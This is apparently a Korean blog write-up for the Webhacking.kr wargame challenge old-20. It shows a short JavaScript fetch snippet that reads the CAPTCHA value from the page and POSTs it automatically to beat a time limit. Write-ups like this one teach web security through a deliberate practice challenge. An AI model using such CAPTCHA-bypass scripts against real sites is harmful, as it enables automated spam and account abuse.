본문 바로가기
webhacking

Webhacking.kr old-20번

by FAPER 2025. 1. 7.

캡차를 시간 내에 빠르게 입력해야 하는 문제이다. 

그냥 js로 fetch를 짜서 보내면 끝이다.

 

const captchaValue = document.querySelector('input[name="captcha_"]').value;
console.log('CAPTCHA:', captchaValue);

const formData = new URLSearchParams();
formData.append('id', '1111'); 
formData.append('cmt', '1111');
formData.append('captcha', captchaValue);

fetch('https://webhacking.kr/challenge/code-4/', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/x-www-form-urlencoded',
  },
  body: formData.toString(),
})
  .then(response => response.text())
  .then(result => {
    console.log('Response:', result);
  })
  .catch(error => {
    console.error('Error:', error);
  });

실행을 해보면 이렇게 캡차 코드가 정상적으로 잡히는 걸 볼 수 있고, 바로 POST로 날리기 때문에 문제가 풀린다.